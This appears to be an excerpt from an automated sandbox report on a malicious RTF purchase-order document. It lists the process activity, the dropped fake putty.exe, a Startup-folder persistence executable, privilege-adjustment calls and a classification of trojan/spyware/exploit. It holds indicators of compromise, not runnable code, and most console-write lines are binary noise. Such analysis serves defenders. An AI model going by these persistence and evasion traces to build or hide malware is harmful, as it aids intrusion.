Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_0254B2CC NtQuerySystemInformation,	15_2_0254B2CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_004BB2EE NtQuerySystemInformation,	17_2_004BB2EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_004BB2CC NtQuerySystemInformation,	17_2_004BB2CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_01E1B2EE NtQuerySystemInformation,	23_2_01E1B2EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_01E1B2CC NtQuerySystemInformation,	23_2_01E1B2CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_0033B2EE NtQuerySystemInformation,	25_2_0033B2EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_0033B2CC NtQuerySystemInformation,	25_2_0033B2CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_01DCB2EE NtQuerySystemInformation,	26_2_01DCB2EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_01DCB2CC NtQuerySystemInformation,	26_2_01DCB2CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_0264B2EE NtQuerySystemInformation,	29_2_0264B2EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_0264B2CC NtQuerySystemInformation,	29_2_0264B2CC

Source: C:\Users\user\AppData\Roaming\putty.exe

File created: C:\Windows\Resources\Themes\aero\Shell\52V57U7

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02891C60	13_2_02891C60
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 19_2_003F53C0	19_2_003F53C0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 19_2_003F5708	19_2_003F5708
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 19_2_003F5FD8	19_2_003F5FD8
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 19_2_00724258	19_2_00724258
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 19_2_00720AA8	19_2_00720AA8
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 19_2_007221D8	19_2_007221D8
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 19_2_00720E68	19_2_00720E68
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 19_2_00720258	19_2_00720258
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Code function: 20_2_00330490	20_2_00330490
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Code function: 20_2_00330480	20_2_00330480
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Code function: 32_2_001F53C0	32_2_001F53C0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Code function: 32_2_001F5FD8	32_2_001F5FD8
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Code function: 32_2_001F5708	32_2_001F5708
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Code function: 34_2_00320490	34_2_00320490
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Code function: 34_2_00320480	34_2_00320480

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 1132

Source: putty.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: e888z168ybTRefC409a4S5mn41ofdd.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: powershell.exe, 00000004.00000002.2128582463.0000000002A50000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2130642346.0000000002D00000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal100.troj.adwa.spyw.expl.evad.winRTF@64/47@28/4

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_01D0ACEE AdjustTokenPrivileges,	4_2_01D0ACEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_01D0ACB7 AdjustTokenPrivileges,	4_2_01D0ACB7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_004DACEE AdjustTokenPrivileges,	6_2_004DACEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_004DACB7 AdjustTokenPrivileges,	6_2_004DACB7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0260ACEE AdjustTokenPrivileges,	8_2_0260ACEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0260ACB7 AdjustTokenPrivileges,	8_2_0260ACB7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_01CFACEE AdjustTokenPrivileges,	10_2_01CFACEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_01CFACB7 AdjustTokenPrivileges,	10_2_01CFACB7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_01C7ACEE AdjustTokenPrivileges,	13_2_01C7ACEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_01C7ACB7 AdjustTokenPrivileges,	13_2_01C7ACB7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_0254ACEE AdjustTokenPrivileges,	15_2_0254ACEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_0254ACB7 AdjustTokenPrivileges,	15_2_0254ACB7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_004BACEE AdjustTokenPrivileges,	17_2_004BACEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_004BACB7 AdjustTokenPrivileges,	17_2_004BACB7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_01E1ACEE AdjustTokenPrivileges,	23_2_01E1ACEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_01E1ACB7 AdjustTokenPrivileges,	23_2_01E1ACB7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_0033ACEE AdjustTokenPrivileges,	25_2_0033ACEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_0033ACB7 AdjustTokenPrivileges,	25_2_0033ACB7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_01DCACEE AdjustTokenPrivileges,	26_2_01DCACEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_01DCACB7 AdjustTokenPrivileges,	26_2_01DCACB7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_0264ACEE AdjustTokenPrivileges,	29_2_0264ACEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_0264ACB7 AdjustTokenPrivileges,	29_2_0264ACB7

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$stomer-unionroadwaysltd-8754-PO.doc__.rtf

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2032
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3036

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRBCD8.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....h.......\.......D.......L.......................0.......#.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....h.......\.......D.......g.......................0.......#.........}.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.....h.......\.......D...............................0......./.......................H...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.....h.......\.......D...............................0......./.........}.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....h.......\.......D...............................0.......;...............\|.......H...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....h.......\.......D...............................0.......;.........}.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7.......'.......................0.......G.........}.....".......H...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G...............(.P.....h.......\.......D.......C.......................0.......G.........}.............H...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....h.......\.......D.......n.......................0.......S.......................H...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....h.......\.......D...............................0.......S.........}.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_.......e. .-.F.o.r.c.e.h.......\.......D...............................0......._.........}.............H...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P.....h.......\.......D...............................0......._.........}.............H...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.....h.......\.......D...............................0.......k.......................H...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.....h.......\.......D...............................0.......k.........}.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...............0.......w.........}.....2.......H...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w...............(.P.....h.......\.......D.......`.......................0.......w.........}.............H...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....h.......\.......D...............................0.......................l.......H...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....h.......\.......D...............................0.................}.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....h.......\.......D...............................0.................}.............H...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....h.......\.......D...............................0.................}.............H...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....(...............\|...............................0.......#.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....(...............\|...............................0.......#.......H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.....(...............\|......./.......................0......./.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.....(...............\|.......S.......................0......./.......H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....(...............\|.......\|.......................0.......;...............\|.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....(...............\|...............................0.......;.......H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7...............................0.......G.......H.......".......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G...............(.P.....(...............p...............................0.......G.......H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....(...............................................0.......S.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....(.......................3.......................0.......S.......H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P.....(...............................................0......._.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P.....(...............................................0......._.......H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.....(...............\|...............................0.......k.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.....(...............................................0.......k.......H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...............0.......w.......H.......2.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w...............(.P.....(.......................F.......................0.......w.......H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....(...............p.......s.......................0.......................l.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....(...............p...............................0...............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....(...............\|...............................0...............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....(...............................................0...............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....................................................0.......#.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....................p...............................0.......#.......H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.....................p...............................0......./.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.....................p...............................0......./.......H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....................p.......'.......................0.......;...............\|.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....................p.......F.......................0.......;.......H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7.......t.......................0.......G.......H.......".......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G...............(.P.....................p...............................0.......G.......H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....................h...............................0.......S.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....................p...............................0.......S.......H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P.....................p.......7.......................0......._.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P.....................p.......^.......................0......._.......H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.....................p...............................0.......k.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.....................p...............................0.......k.......H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...............0.......w.......H.......2.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w...............(.P.....................p...............................0.......w.......H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................p.......2.......................0.......................l.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................p.......M.......................0...............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....................p.......v.......................0...............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................p...............................0...............H...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....................................................0.......#.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.............................,.......................0.......#.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.............................`.......................0......./.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.............................\|.......................0......./.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....................................................0.......;...............\|.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....................................................0.......;.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7...............................0.......G...............".......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G...............(.P.....................................................0.......G.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....................X.......;.......................0.......S.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....................X.......W.......................0.......S.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_.......e. .-.F.o.r.c.e.................X...............................0......._.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P.....................X...............................0......._.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.....................X...............................0.......k.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.....................X...............................0.......k.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...............0.......w...............2.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w...............(.P.............................k.......................0.......w.......................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................................................0.......................l.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................................................0...............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....................................................0...............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................X...............................0...............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.............L.......X.......F.......................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.............L.......X.......a.......................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.............L.......X...............................0......./.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.............L.......X...............................0......./.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.............L.......X...............................0.......;...............\|.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.............L.......................................0.......;.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7.......M.......................0.......G...............".......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G...............(.P.............L...............o.......................0.......G.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.............L.......................................0.......S.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.............L.......................................0.......S.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_.......5.2.V.5.7.U.7.\.s.v.c.h.o.s.t...e.x.e. .-.F.o.r.c.e.............0......._...............4.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P.............L.......X.......].......................0......._.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.............L.......................................0.......k.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.............L.......X.......*.......................0.......k.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...............0.......w...............2.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w...............(.P.............L.......X...............................0.......w.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............L.......X...............................0.......................l.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............L.......X.......[.......................0...............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.............L.......................................0...............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............L.......................................0...............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....................X...............................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....................X...............................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.............................:.......................0......./.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.............................d.......................0......./.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....................................................0.......;...............\|.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....................................................0.......;.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7.......*.......................0.......G...............".......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G...............(.P.............................f.......................0.......G.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....................X...............................0.......S.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....................X...............................0.......S.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_.......e. .-.F.o.r.c.e.................X...............................0......._.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P.............................9.......................0......._.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.............................m.......................0.......k.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.....................................................0.......k.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...............0.......w...............2.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w...............(.P.....................................................0.......w.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................................................0.......................l.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................4.......................0...............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.............................].......................0...............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................{.......................0...............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.............(.......................................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.............(.......................................0.......#.......h...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.............(.......................................0......./.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.............(...............2.......................0......./.......h...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.............(.......X.......`.......................0.......;...............\|.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.............(.......X...............................0.......;.......h...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7...............................0.......G.......h.......".......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G...............(.P.............(.......X...............................0.......G.......h...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.............(.......................................0.......S.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.............(.......X.......!.......................0.......S.......h...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_.......5.2.V.5.7.U.7.\.s.v.c.h.o.s.t...e.x.e. .-.F.o.r.c.e.............0......._.......h.......4.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P.............(.......X.......x.......................0......._.......h...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.............(.......................................0.......k.......................................
